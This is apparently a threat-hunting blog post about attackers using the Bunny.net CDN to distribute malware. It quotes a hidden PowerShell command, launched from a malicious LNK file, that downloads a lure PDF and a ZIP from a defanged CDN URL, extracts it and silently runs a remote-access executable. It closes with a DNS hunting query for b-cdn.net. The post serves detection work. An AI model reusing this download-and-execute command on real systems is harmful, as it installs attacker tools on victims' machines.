281. Adversaries Abuse Bunny.net CDN

Hello everyone!

We talked about how adversaries abuse various legitimate services to distribute malware multiple times already. But let's look at another example.

According to this report, the adversary leveraged malicious LNK file to launch a hidden PowerShell command that downloads a lure PDF and another ZIP file from the Bunny CDN URL:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { iwr 'hxxps://555555cnd.b-cdn[.]net/Marriott_Marketing_Job_Description.pdf' -OutFile 'C:\Users\Public\Marriott.pdf'; Start-Process 'C:\Users\Public\Marriott.pdf'; Start-Sleep -Seconds 3; iwr 'hxxps://555555cnd.b-cdn[.]net/002.zip' -OutFile 'C:\Users\Public\002.zip'; Expand-Archive -Path 'C:\Users\Public\002.zip' -DestinationPath 'C:\Users\Public' -Force; Start-Process 'C:\Users\Public\XtraViewer.exe' -ArgumentList '/silent_start' } catch {}"

Despite the fact the command is quite common and can be easily detected, the use of the Bunny CDN seems interesting. And we can use it for hunting, of course:

event_type: "dnsreqwin"

AND

dns_rname: "b-cdn.net"

See you tomorrow!


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